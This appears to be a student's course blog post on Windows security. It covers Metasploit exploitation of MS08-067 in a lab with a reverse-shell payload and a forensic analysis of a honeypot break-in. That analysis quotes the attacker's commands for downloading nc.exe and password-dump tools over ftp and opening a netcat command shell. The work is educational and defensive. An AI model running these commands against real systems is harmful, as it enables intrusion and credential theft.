20199301 2019-2020-2 《网络攻防实践》第七周作业

20199301 2019-2020-2 《网络攻防实践》第七周作业

第七章 Windows操作系统安全攻防

一、实践内容

1、Windows操作系统基本框架

Windows内核态基本模块

  • Windows执行体:包含基本的操作系统服务,如内存管理,进程和线程管理,安全性,I/O,网络,跨进程通信。
  • Windows内核:是由一组底层的操作系统功能构成,如线程调度,终端和异常处理分发。以及处理器同步。提供了一组例程和基础对象。执行体的其他部分利用这些例程和对象实现更高层次的功能。
  • 设备驱动程序:硬件设备驱动程序,也包含文件系统和网络驱动程序。其中硬件设备驱动程序将用户的I/O函数调用转化为特定的硬件设备请求。
  • 硬件抽象层:指一层特殊代码,它把内核,设备驱动程序和windows执行体其他部分跟与平台相关的硬件差异隔离开来。
  • 窗口和图形系统:实现了图形用户界面函数。

Windows用户态代码模块

  • 系统支持进程:Windows开机自动启动的系统内建服务进程。
  • 环境子系统服务进程:为操作系统运行环境提供支持的服务进程。
  • 用户应用程序:在用户态执行的各类用户应用软件。
  • 核心子系统DLL:即kernel32.dll/user32.dll/gdi32.dll/advapi32.dll等动态连接库文件

在上述系统架构下,Windows操作系统内核中实现了如下的核心机制:

  • Windows进程和线程管理机制:Windows将进程视作可执行程序运行时刻的容器,Windows线程作为指令执行的具体载体。

  • Windows内存管理机制:Windows的虚拟内存空间分为系统核心内存区间与用户内存区间两部分,对于32位Windows系统而言,2GB4GB区间为系统核心内存,0GB2GB区间为用户态内存。

  • Windows文件管理机制:Windows下使用NTFS文件结构,Windows 使用PE格式的可执行文件,主要分为Dos头、PE头、分段表、以及具体的代码段和数据段等格式。

  • Windows注册表管理机制:注册表被称为Windows操作系统的核心,它的工作原理实质是一个庞大的数据库,存放了关于计算机硬件的配置信息、系统和应用软件的初始化信息、应用软件和文档文件的关联关系、硬件设备的说明以及各种状态信息和数据,包括Windows操作时不断引用的信息。

  • Windows的网络机制:Windows网络组件整体结构如图所示,其不同层次功能为:
    - 网卡硬件设备驱动程序:物理层,厂商提供
    - NDIS库及mimiport驱动:数据链路层,使得协议驱动程序可以以一种与设备无关的方式来跟网络适配器驱动程序进行通信
    - TDI:传输层,将网络请求格式化成IRP,以及申请网络地址和数据通信
    - 网络API DLL及TDI客户端:会话层和表示层,独立于具体协议提供网络交互和实现方式
    - 网络应用服务程序与服务进程:应用层,各种网络API DLL,来实现网络交互和通信功能。

2、Windows操作系统的安全体系结构与机制

Windows安全体系结构

  • Windows的安全体系结构基于引用监控器这一经典的安全模型。其最核心的是位于内核的SRM安全引用监视器,以及位于用户态的LSASS安全服务,并与winlogin、eventlog等相关服务一起实现身份认证机制。
  • Windows身份认证机制
    - Windows操作系统中以安全主体概念来包含所有进行系统资源访问诸求的实体对象,有用户、用户组、计算机三类,用SID标识
    - Windows为每个用户和计算机设置账户(accounts)进行管理,并引入用户组来简化用户管理
    - Windows用户账户的口令字经过加密处理之后被保存于SAM或者活动目录AD中
    - 对于试图使用Windows系统的用户与远程计算机等安全主体,Windows通过一些秘密信息来认证安全主体真实合法的身份,进行用户身份认证
  • 身份认证实现的原理如图:

Windows授权与访问控制机制

  • Windows的授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同来实施,由SRM作为安全主体访间对象资源时的中介,根据设定的访问控制列表进行授权访问。windows会给用户一个安全访问令牌,进程执行操作是,继承了启动进程的账户所拥有的访问令牌。
  • Windows对于系统中所有需保护的资源都抽象成对象, 每个对象会关联一个SD安令描述符,主要由如下属性组成:
    - 1.Owner SID:对象所有者的SID安全标识符。
    - 2.Group SID: 对象所在基本用户组的SID安全标识符(兼容POSIX使用)。
    - 3.DACL自主访问控制列表:指明了哪些安全中体可以何种方式来访问该对象 。
    - 4.SACL系统审计访问控制列表:指明了由哪些主体发起的哪些访问操作需要被审计。

Windows安全审计机制

  • 系统审计策略在本地安全策略中由系统管理员定义,来确定系统对哪些事件进行记录。

windows其他安全机制

  • 安全中心(防火墙、补丁、病毒防护),IPsec加载和验证机制,EPS加密文件系统,文件保护机制,捆绑的IE浏览器所提供的隐私保护和浏览器安全保护机制等
    3、Windows远程安全攻防技术

Windows远程口令猜测与破解攻击

  • 服务:SMB协议,其他包括WMI服务、TS远程桌面终端服务,mysql数据库服务、SharePoint。- - 工具:Legion、enum、smbgrind、NTScan、XScan、流光。
  • 窃听与破解:NTLM、Lanman、NTLMV2和kerberos网络认证协议的弱点。
  • 防范:关闭不必要的易受攻击的网络服务、配置主机防火墙来限制某些端口服务、网络防火墙限制这些服务的访问、禁用过时且有安全缺陷的Lanman和NTLM、指定强口令策略。

Windows网络服务远程渗透攻击

  • 针对NETBIOS服务的攻击(Windows局域网联网的基本支持)。
  • 针对SMB服务的攻击。
  • 针对MSRPC服务的攻击(远程过程调用)。
  • 针对Windows系统上微软网络的远程渗透攻击。
  • 针对Windows系统上第三方服务的远程渗透攻击。
  • 防范措施:软件设计本身、尽快的更新漏洞、安装增强插件、启用入侵检测工具等。

Windows本地安全攻防技术

Windows本地特权提升

  • 溢出提权、windows错误系统配置、计划任务提权
  • 措施:及时打补丁、及时跟进厂家的安全警告

Windows敏感信息窃取

  • 包括windows系统口令字密文提取技术、windows系统口令字破解技术、用户敏感信息窃取等手段
  • 防范措施:使用安全度高、能抵挡破解的口令

Windows消踪灭迹

  • 主要手段包括、关闭审计功能、清理事件日志。
  • 防范措施:实现配置好系统审计和网络服务审计功能,并将日志传输到安全服务器中。

Windows远程控制与后门程序

  • 主要手段包括向受控主机中植入第三方的远程控制与后门程序,主要包含命令行远程控制程序和图形化远程控制程序。
  • 防范措施:采用一些后门检测软件来尝试发现攻击者隐藏的后门程序。

二、实践过程

主机 IP地址
攻击机kali 192.168.200.2
靶机2kserver 192.168.200.124
实践一:Metasploit Windows Attacker

实践任务:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权。

1、确保kali攻击机与2kserver靶机互相能ping通,并在令、kali中启动metasploit,执行命令msfconsole

2、接下来我们执行命令search ms08-067查看漏洞信息,得到相应的模块
3、执行 use exploit/windows/smb/ms08_067_netapi表示使用MS08-067作为我们攻击的目标漏洞
执行show payloads选择攻击负载模块

4、再执行命令set payload generic/shell_reverse_tcp 设置打开反向连接的载荷,查看相关信息;然后执行show options确定,查看需要修改的参数,

5、执行set RHOST "靶机IP(192.168.200.124)"set LHOST "攻击机IP(192.168.200.2)"进行设置平台类型set TARGET 0

6、show targets可以查看选择攻击的系统

7、平台类型set TARGET 0并执行exploit发起攻击,攻击成功后可以进入到靶机的命令执行界面了,我们输入ipconfig查看到了靶机的IP地址

8、最后,执行exit -y退出

实践二:取证分析实践:解码一次成功的NT系统破解攻击

实践任务:来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106(主机名为lab.wiretrip.net),回答下列问题。

  • 攻击者使用了什么破解工具进行攻击?
    -攻击者如何使用这个破解工具进入并控制了系统?
  • 攻击者获得系统访问权限后做了什么?
  • 我们如何防止这样的攻击?
  • 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?

问题一:攻击者使用了什么破解工具进行攻击?

1、首先使用Wireshark打开.log文件

打开之后突然无从下手,开始各种翻看同学们的博客。。。
于是跟着同学们的博客一步一步来试试

2、点击统计->http->请求,得到如图

其实到这一步我还是不太能理解。。。

3、设置限制条件ip.add==213.116.251.162&&ip.add==172.16.1.106来进行筛选,找到编号117,发现攻击者打开了系统启动过文件boot.ini,同时返现%c0%AF字符,%c0%AF为 / 的unicode编码

4、我们可以观察到编号130和编号140中含有msadc,这是进行探测的过程:

5、编号149,通过追踪tcp流,根据 “ADM!ROX!YOUR!WORLD”特征字符串,以及查询语句中使用了dbq=c:\winnt\help\iis\htm\tutorial\btcustmr.mdb,我们可以通过 Google 查询到这次攻击应是由rain forest puppy 编写的 msadc(2).pl渗透攻击代码所发起的:

  • 答1:攻击者使用了名为msadc2.pl工具发起的攻击

问题二:攻击者如何使用破解工具进入并控制了系统?

6、追踪TCP流,可以看出:攻击者通过创建了ftpcom脚本,使用ftp连接www.nether.net,并以johna2k为用户haxedj00为密码下载 nc.exe、pdump.exe和samdump.dll。

7、之后出现了ftp的连接,目标IP为204.42.253.18。通过追踪TCP流发现,这个连接由于口令错误导致连接失败。说明这次攻击是一个失败的攻击。

8、攻击者每次都需要进行ftp下载所需要的攻击的工具,那么我们直接筛选ftp连接,直到编号1106,我们发现此时才是连接成功的。

9、可以发现这次的攻击不是RDS攻击,而是Unicode漏洞攻击。通过追踪TCP流,发现攻击者发送了以下指令。

  • copy C:\winnt\system32\cmd.exe cmd1.exe
  • cmd1.exe /c open 213.116.251.162 >ftpcom
  • cmd1.exe /c echo johna2k >>ftpcom
  • cmd1.exe /c echo haxedj00 >>ftpcom
  • cmd1.exe /c echo get nc.exe >>ftpcom
  • cmd1.exe /c echo get pdump.exe >>ftpcom
  • cmd1.exe /c echo get samdump.dll >>ftpcom
  • cmd1.exe /c echo quit >>ftpcom

10、在下载完文件之后,查看到 1224 号数据包,攻击者执行了这样一条命令:cmd1.exe /c nc -l -p 6969 -e cmd1.exe。表示攻击者连接了6969端口,并且获得了访问权限,进入了交互式控制阶段:

问题三:攻击者获得系统访问权限后做了什么?

11、我们用tcp.port == 6969筛选并追踪tcp流,我们可以看到攻击者修改各种文件,企图通过pdump、samdump、net命令、rdisk命令等方式提权为管理员,成功后还删除了ftpcom文件等痕迹。

12、攻击者放弃了pdump提取Administrator口令密文的企图。攻击者删除了samdump和pdump。

13、最后攻击者exit了

问题四:我们如何防止这样的攻击?

  • 及时修补漏洞,对漏洞打上相应的补丁。
  • 防火墙封禁网络内部服务器发起的连接。
  • 为 web server 在单独的文件卷上设置虚拟根目录。
  • 使用 NTFS 文件系统,因为 FAT 几乎不提供安全功能。
  • 使用 IIS Lockdown 和 URLScan 等工具加强 web server。

问题五:你觉得攻击者是否警觉了它的目标是一台蜜罐主机?如果是,为什么?

  • 攻击者发现了这是一台蜜罐主机,继续追踪TCP流就可以看到一行字,看到攻击者已经知道这是一台蜜罐主机。

实践三:团队对抗实践:Windows系统远程渗透攻击和分析

实践任务:

  • 攻击方使用metaploit选择漏洞进行渗透攻击,获得控制权。

  • 防守方使用wireshark监听获得网络攻击的数据包,结合分析过程,获得攻击者IP地址、目的IP地址和端口、攻击发起时间、攻击利用漏洞、攻击使用的shellcode,以及本地执行的命令输入信息。

1、在kali上攻击win2kserver,步骤如第一个实践,在执行exploit 前,打开 wireshark监听,我们看到攻击机向靶机发了许多SMB协议包。而MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的。所以据此可以推断出,是利用这个漏洞攻击的。

2、在kali中执行ipconfig ,查看wireshark中捕获的包,可以从发出的数据中看到发出的命令:

三、实践总结

至此第七周的实践作业完成,虽然每次都能在实践过程中学到许多新的知识,但是对于自己的实践能力和对原理的理解能力依然感觉非常的差......
每次的实践都是需要问同学、参考已做完实践的同学的博客、或者学习老师提供的学习视频......对于我这样基础差的学生而言同学和老师的存在真的非常的重要!
对于大作业目前依然处于迷茫的状态,貌似老师出的题目都需要较强的理解能力和动手能力......为自己今后的学习感到深深的担忧😔

posted on 2020-04-15 19:50  洛桑曲珍20199301  阅读(302)  评论(0编辑  收藏  举报

导航